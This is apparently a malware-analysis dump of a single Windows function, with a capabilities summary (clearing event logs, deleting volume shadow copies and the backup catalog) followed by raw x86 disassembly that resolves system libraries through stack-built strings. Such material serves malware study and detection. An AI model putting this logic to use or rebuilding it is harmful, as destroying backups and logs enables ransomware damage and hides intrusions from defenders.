Function at 0x42e760
Capabilities:
Clear windows event logs
Delete volume shadow copies
Delete windows backup catalog

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 0xb8]
cmp eax, dword [ecx + 8]
jbe 0x42ee26
sub esp, 0x138
mov dword [esp + 0x4c], 0x6e72656b
lea edi, [esp + 0x4d]
lea esi, [0x549f8c]
call fcn.0045fae2
mov eax, dword [sym.imp.kernel32.dll_LoadLibraryA]
lea ecx, [esp + 0x4c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00430e40
mov eax, dword [esp + 8]
test eax, eax
je 0x42ee0f
mov dword [esp + 0x1c], eax
lea edi, [esp + 0x95]
lea esi, [0x54a85a]
call fcn.0045fad8
mov dword [esp], eax
lea ecx, [esp + 0x95]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
mov dword [esp + 0xc], 0x10
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e80b
mov dword [0x630798], ecx
jmp 0x42e818
lea edi, [0x630798]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x11d], 0x56646441
lea edi, [esp + 0x120]
lea esi, [0x54e1eb]
call fcn.0045fac4
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x11d]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], 0x1b
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e872
mov dword [0x63079c], ecx
jmp 0x42e87f
lea edi, [0x63079c]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x76], 0x64616f4c
lea edi, [esp + 0x79]
lea esi, [0x54a575]
call fcn.0045fae2
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x76]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
mov dword [esp + 0xc], 0xf
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e8d0
mov dword [0x6307a4], ecx
jmp 0x42e8dd
lea edi, [0x6307a4]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x67], 0x64616f4c
lea edi, [esp + 0x6a]
lea esi, [0x54a584]
call fcn.0045fae2
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
lea ecx, [esp + 0x67]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
mov dword [esp + 0xc], 0xf
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e92e
mov dword [0x6307a8], ecx
jmp 0x42e93b
lea edi, [0x6307a8]
mov eax, ecx
call fcn.0045f3d0
test ecx, ecx
je 0x42e956
mov eax, dword [0x6307a4]
test eax, eax
je 0x42e956
mov eax, dword [0x630798]
test eax, eax
setne al
jmp 0x42e958
xor eax, eax
mov byte [0x657193], al
mov dword [esp + 0x3f], 0x61766461
lea edi, [esp + 0x40]
lea esi, [0x549efd]
call fcn.0045fae2
lea eax, [esp + 0x3f]
mov dword [esp], eax
mov dword [esp + 4], 0xd
mov dword [esp + 8], 0xd
call fcn.0042e5c0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42edf9
mov dword [esp + 0xc7], 0x74737953
lea edi, [esp + 0xc9]
lea esi, [0x54b283]
call fcn.0045fad8
mov dword [esp], eax
lea eax, [esp + 0xc7]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x12
mov dword [esp + 0xc], 0x12
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42e9f3
mov dword [0x6307b8], ecx
jmp 0x42ea00
lea edi, [0x6307b8]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x2a], 0x6c64746e
mov dword [esp + 0x2c], 0x2e6c6c64
mov dword [esp + 0x30], 0x6c6c64
lea eax, [esp + 0x2a]
mov dword [esp], eax
mov dword [esp + 4], 0xa
mov dword [esp + 8], 0xa
call fcn.0042e5c0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42ede3
mov dword [esp + 0x14], eax
mov dword [esp + 0xd9], 0x6157744e
lea edi, [esp + 0xdb]
lea esi, [0x54c821]
call fcn.0045face
mov dword [esp], eax
lea ecx, [esp + 0xd9]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x16
mov dword [esp + 0xc], 0x16
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ea9a
mov dword [0x6307ac], ecx
jmp 0x42eaa7
lea edi, [0x6307ac]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0xb6], 0x476c7452
lea edi, [esp + 0xb7]
lea esi, [0x54adb1]
call fcn.0045fad8
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea ecx, [esp + 0xb6]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x11
mov dword [esp + 0xc], 0x11
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42eb01
mov dword [0x6307bc], ecx
jmp 0x42eb0e
lea edi, [0x6307bc]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x106], 0x476c7452
lea edi, [esp + 0x109]
lea esi, [0x54ce81]
call fcn.0045face
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea ecx, [esp + 0x106]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x17
mov dword [esp + 0xc], 0x17
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42eb68
mov dword [0x6307c0], ecx
jmp 0x42eb75
lea edi, [0x6307c0]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x20], 0x6d6e6977
mov dword [esp + 0x22], 0x2e6d6d6e
mov dword [esp + 0x26], 0x6c6c64
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], 0xa
mov dword [esp + 8], 0xa
call fcn.0042e5c0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42edcd
mov dword [esp + 0x18], eax
lea edi, [esp + 0x85]
lea esi, [0x54ac1a]
call fcn.0045fad8
mov dword [esp], eax
lea ecx, [esp + 0x85]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
mov dword [esp + 0xc], 0x10
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ec04
mov dword [0x6307c8], ecx
jmp 0x42ec11
lea edi, [0x6307c8]
mov eax, ecx
call fcn.0045f3d0
mov dword [esp + 0x59], 0x656d6974
lea edi, [esp + 0x5b]
lea esi, [0x54a3cb]
call fcn.0045fae2
mov eax, dword [esp + 0x18]
mov dword [esp], eax
lea eax, [esp + 0x59]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [esp + 0xc], 0xe
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ec62
mov dword [0x6307cc], ecx
jmp 0x42ec6f
lea edi, [0x6307cc]
mov eax, ecx
call fcn.0045f3d0
mov eax, dword [0x6307c8]
test eax, eax
je 0x42edb7
test ecx, ecx
je 0x42edb7
mov dword [esp + 0x34], 0x5f327377
mov dword [esp + 0x37], 0x2e32335f
mov dword [esp + 0x3b], 0x6c6c64
lea eax, [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], 0xb
mov dword [esp + 8], 0xb
call fcn.0042e5c0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x42eda1
mov dword [esp + 0xef], 0x47415357
lea edi, [esp + 0xf2]
lea esi, [0x54cf39]
call fcn.0045face
mov dword [esp], eax
lea eax, [esp + 0xef]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x17
mov dword [esp + 0xc], 0x17
call fcn.0042e540
mov eax, dword [0x6573b0]
mov ecx, dword [esp + 0x10]
test eax, eax
jne 0x42ed1b
mov dword [0x6307c4], ecx
jmp 0x42ed28
lea edi, [0x6307c4]
mov eax, ecx
call fcn.0045f3d0
test ecx, ecx
je 0x42ed8b
mov dword [esp + 0xa5], 0x656e6977
lea edi, [esp + 0xa6]
lea esi, [0x54b08c]
call fcn.0045fad8
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea eax, [esp + 0xa5]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x11
mov dword [esp + 0xc], 0x11
call fcn.0042e540
mov eax, dword [esp + 0x10]
test eax, eax
je 0x42ed84
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.0042f700
add esp, 0x138
ret
lea eax, [0x54f84c]
mov dword [esp], eax
mov dword [esp + 4], 0x20
call fcn.00433a00
lea eax, [0x54c100]
mov dword [esp], eax
mov dword [esp + 4], 0x14
call fcn.00433a00
lea eax, [0x54ef3e]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.00433a00
lea eax, [0x54bbee]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.00433a00
lea eax, [0x54ba00]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.00433a00
lea eax, [0x54c8e5]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00433a00
lea eax, [0x54ca19]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00433a00
nop
call fcn.0045e000
jmp fcn.0042e760